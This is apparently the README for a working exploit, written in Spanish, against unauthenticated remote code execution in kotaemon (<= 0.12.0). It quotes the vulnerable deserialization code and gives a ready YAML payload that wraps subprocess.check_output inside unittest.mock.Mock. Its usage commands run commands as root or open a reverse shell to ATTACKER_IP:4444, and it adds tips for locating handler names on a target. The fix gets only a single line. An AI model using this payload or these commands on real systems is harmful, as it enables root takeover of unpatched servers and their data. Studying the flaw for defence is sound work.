
Exploit de ejecución remota de código no autenticada dirigido a la deserialización insegura de YAML en las comprobaciones de conexión de LLM; admite ejecución arbitraria de comandos y shells inversas a través de la API de Gradio expuesta.
Ejecución remota de código no autenticada en kotaemon
(<= 0.12.0) mediante deserialización insegura en la comprobación de conexión de los ajustes de LLM.
El controlador Gradio check_connection de los ajustes de LLM de kotaemon (libs/ktem/ktem/llms/ui.py) analiza una spec YAML proporcionada por el atacante y la deserializa de forma insegura:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) resuelve la clave __type__ de una spec
mediante import_dotted_string sin lista blanca y luego la instancia con kwargs controlados por el atacante:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
Por lo tanto, una spec cuyo __type__ es subprocess.check_output ejecuta un comando del sistema operativo durante la deserialización (CWE-502).
Dos factores lo convierten en una RCE no autenticada limpia:
auth=. El "login" solo alterna la visibilidad de las pestañas de la interfaz; todos los controladores de eventos registrados son invocables públicamente. KH_FEATURE_USER_MANAGEMENT no restringe la API HTTP/cola.info["spec"].update(<attacker yaml>) sobrescribe por completo la spec de LLM, por lo que el payload nunca contacta con un proveedor de LLM real.La imagen oficial de Docker de kotaemon se ejecuta como root, por lo que la RCE se materializa como root. No hay corrección oficial (upstream) al momento de escribir esto.
La spec YAML entregada:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize recurre primero en return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) ejecuta el comando. Envolverlo en unittest.mock.Mock absorbe cualquier kwarg restante de la
spec base (model/api_key), de modo que la llamada externa nunca falla, y la salida estándar del comando se devuelve en el mensaje Got response: ... del controlador.
Solo biblioteca estándar (Python 3). El exploit realiza dos llamadas a Gradio: create_llm (registra una entrada LLM con nombre para que llms.info()[name] se resuelva) y luego check_connection (entrega el payload).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Si los nombres de los controladores create_llm / check_connection difieren en un objetivo, enuméralos desde GET /config (dependencies[].api_name) y ajústalos.
kotaemon <= 0.12.0 (puerto predeterminado 7860). No hay parche oficial (upstream) disponible al momento de escribir esto.
deserialize con safe=True y una lista blanca allowed_modules para que ningún __type__ del atacante llegue a import_dotted_string.Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de probar.